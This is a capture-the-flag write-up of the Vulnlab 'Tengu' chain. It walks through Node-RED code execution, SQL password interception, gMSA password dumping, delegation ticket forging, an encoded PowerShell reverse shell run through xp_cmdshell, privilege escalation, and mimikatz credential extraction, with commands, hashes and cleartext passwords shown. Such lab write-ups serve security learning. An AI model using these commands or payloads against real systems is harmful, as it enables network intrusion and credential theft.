Tengu is a chain of medium level machines, consisting of one Linux machine and two Windows machines.

An instance of Node-RED was used to execute code on the Linux machine. The recovery of a database password was then used to compromise a domain account, which was administrator on the Linux machine.

The latter had constrained delegation for the MSSQL service, making it possible to compromise the associated MSSQL server.

Finally, by recovering information protected by DPAPI, it was possible to compromise the entire domain.

SQL User password

Using the nmap scan, we quickly identify a Node-Red instance on the Linux server. As the only ports open on the other machines are RDP ports, we focus directly on this instance.

Node-Red is a web application that lets you code in blocks (low code). Each code represents a function, enabling very high-level coding.

On the interface, you can see that the current workflow allows you to retrieve data from a database and write it to a text file.

When you click on the SQL block, you’ll notice that the password for access to this database is stored in the block. It’s also possible to modify the IP address of the SQL server, which could enable you to retrieve the password used to connect to it.

To recover the password, we can replace the IP address of the SQL server with the IP address of our machine and run the mitmsqlproxy tool, which launches a fake sql server to intercept any connection attempt. This tool simulates the entire negotiation phase, which cannot be done with a simple netcat.
https://github.com/defragmentator/mitmsqlproxy

Thus, by launching the program, we manage to recover the password of the SQL account:

Node-Red to RCE

After a little research, we learned that some Node-Red blocks can be used to execute code directly on the server. So, by using one of them, you can directly obtain an RCE.

AD initial Access

Once the first machine has been compromised, you can use it as a pivot to access the SQL server, which was not accessible from the outside, with the following command :

1
2
proxychains -q impacket-mssqlclient nodered_connector:[email protected]

A scan of the database reveals the password hash for the t2_m.winters account.

Using crackstation, this hash can be broken.

You can then authenticate with this account on the domain.

NODERED$ compromise

With the initial access to the domain obtained, we can map the domain with bloodhound, revealing that the t2_m.winters account is in the LINUX_SERVER_ADMIN group, which means it is the administrator of the linux server.

So, using this account, you can connect to the server using ssh.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
└─$ ssh '[email protected]'@10.10.255.87 
([email protected]@10.10.255.87) Password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

[email protected]@nodered:~$ ls

As the linux machine is on the domain, we can retrieve the krb5.keytab file and get the password hash of the linux server machine account.

1
2
3
4
5
6
7
8
9
10
11
└─$ python3 /opt/KeyTabExtract/keytabextract.py krb5.keytab                               
[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction.
[+] Keytab File successfully imported.
REALM : TENGU.VL
SERVICE PRINCIPAL : NODERED$/
NTLM HASH : d4210ee2db0c03aa3611c9ef8a4dbf49
AES-256 HASH : 4ce11c580289227f38f8cc0225456224941d525d1e525c353ea1e1ec83138096
AES-128 HASH : 3e04b61b939f61018d2c27d4dc0b385f

GMSA password

Next, we can see that the NODERED machine account can read the password of the GMSA01 account.

As a reminder, gMSA accounts (Group Manages Service Accounts) are a type of service account introduced by Microsoft starting with Windows Server 2012. They are designed to simplify service account management, particularly in environments where multiple servers share the same account.
Unlike traditional service accounts, gMSAs eliminate the need for administrators to manually manage passwords. Passwords are automatically generated by Active Directory, securely stored, and periodically renewed (by default every 30 days, but this period is configurable). gMSAs can be used for services, scheduled tasks or applications requiring a specific identity.
Using gMSAs requires at least a Windows Server 2012 domain functional level. It’s also important to note that gMSAs cannot be used to log in interactively, as they are intended for service use only and not for conventional user logins. Finally, some third-party services do not always support gMSAs, so you should check the compatibility of applications before deploying them.

For example, as the Nodered account had read access to the password of the gmsa account, it was possible to use gMSADUMPER to retrieve the password of GMSA01.

1
2
proxychains -q python3 gMSADumper.py -d tengu.vl -l 10.10.255.85 -u 'NODERED$' -p d4210ee2db0c03aa3611c9ef8a4dbf49:d4210ee2db0c03aa3611c9ef8a4dbf49

RCBD Attack

Next, with BloodHound, we can identify that a service account, in particular a gMSA, is authorized to delegate authentication on the SQL server. This makes sense, as it allows him to access resources on behalf of other users, using the same service account.

On the other hand, as the service is only authorized to perform constrained delegation on the mssql service, the ticket we’ll retrieve by pretending to be an administrator will only allow us to authenticate on the mssql database.

1
2
3
4
5
6
7
8
9
10
11
└─$ proxychains -q impacket-getST tengu.vl/gMSA01$ -impersonate administrator -hashes :c696a2bb90140a2ea7a5f75136e0f609 -spn  'MSSQLSvc/sql.tengu.vl' -dc-ip 10.10.255.85 -altservice cifs
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Changing service from MSSQLSvc/[email protected] to cifs/[email protected]
[*] Saving ticket in administrator@[email protected]

As we can see, the ticket we retrieve doesn’t allow us to authenticate to SMB, even if we have specified the altservice field in the ticket. Even on the mssql service, this ticket doesn’t allow us to authenticate, probably because the administrator account doesn’t have access to the mssql service.

1
2
3
4
5
┌──(kali㉿kali)-[~/ctf/vulnlab/tengu]
└─$ proxychains -q nxc smb sql.tengu.vl --use-kcache -u administrator -k
SMB sql.tengu.vl 445 SQL [*] Windows Server 2022 Build 20348 (name:SQL) (domain:tengu.vl) (signing:False) (SMBv1:False)
SMB sql.tengu.vl 445 SQL [-] tengu.vl\administrator from ccache STATUS_MORE_PROCESSING_REQUIRED

On the other hand, by impersonating T1_M.WINTERS, we can authenticate to mssql and access the database as administrator.

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/ctf/vulnlab/tengu]
└─$ proxychains -q impacket-getST tengu.vl/gMSA01$ -impersonate T1_M.WINTERS -hashes :c696a2bb90140a2ea7a5f75136e0f609 -spn 'MSSQLSvc/sql.tengu.vl' -dc-ip 10.10.255.85 -altservice 'cifs'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Getting TGT for user
[*] Impersonating T1_M.WINTERS
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Changing service from MSSQLSvc/[email protected] to cifs/[email protected]
[*] Saving ticket in T1_M.WINTERS@[email protected]

SQL server compromise

With administrator access to the database, you can use the xp_cmdshell command to execute a command directly on the server and obtain a reverse shell.

1
2
SQL (TENGU\t1_m.winters  dbo@Dev)> EXEC xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AOAAuADYALgA4ADAAIgAsADQANAA0ADUAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA';

Enumerating the session privileges obtained with the reverse shell, we see that the SeImpersonatePrivilege privilege is enabled.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PS C:\users\gMSA01$\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

This privilege is particularly powerful under Windows, as it allows a process to usurp the identity of another user, provided it succeeds in obtaining the user’s token.

For example, with a tool like Juicy Potato, an attacker can exploit a system service, such as DCOM or RPC, which runs under the SYSTEM account and can make network or local calls. The tool creates what is known as a named pipe, i.e. a system-internal communication channel enabling two processes to exchange data with each other.

Juicy Potato then forces the SYSTEM service to connect to this pipe by launching a specific COM or RPC request. As soon as the SYSTEM service connects, Windows temporarily stops its token SYSTEM for this communication. Thanks to SeImpersonatePriviege, the attacker intercepts this token and can then launch a process under SYSTEM, thus obtaining the highest doroits on the machine.

To exploit this, the simplest method is to obtain a meterpreter shell and use the getsystem command.

Then, using the kiwi extension, you can retrieve the password hash of the local administrator account and compromise the server

Domain compromise

With administrator access obtained, we can retrieve DPAPI-protected data, enabling us to obtain the cleartext password of an administrator account from scheduled tasks.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
*Evil-WinRM* PS C:\Users\Administrator\desktop> .\mimikatz.exe "privilege::debug" "token::elevate" "vault::cred /patch" "exit"

.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM

584 {0;000003e7} 1 D 27560 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
-> Impersonated !
* Process Token : {0;005f8096} 0 D 6550352 SQL\Administrator S-1-5-21-108511344-2654211496-3185650458-500 (11g,24p) Primary
* Thread Token : {0;000003e7} 1 D 6575490 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)

mimikatz(commandline) # vault::cred /patch
TargetName : Domain:batch=TaskScheduler:Task:{3C0BC8C6-D88D-450C-803D-6A412D858CF2} / <NULL>
UserName : TENGU\T0_c.fowler
Comment : <NULL>
Type : 2 - domain_password
Persist : 2 - local_machine
Flags : 00004004
Credential : UntrimmedDisplaceModify25
Attributes : 0


This account can be used to compromise the domain.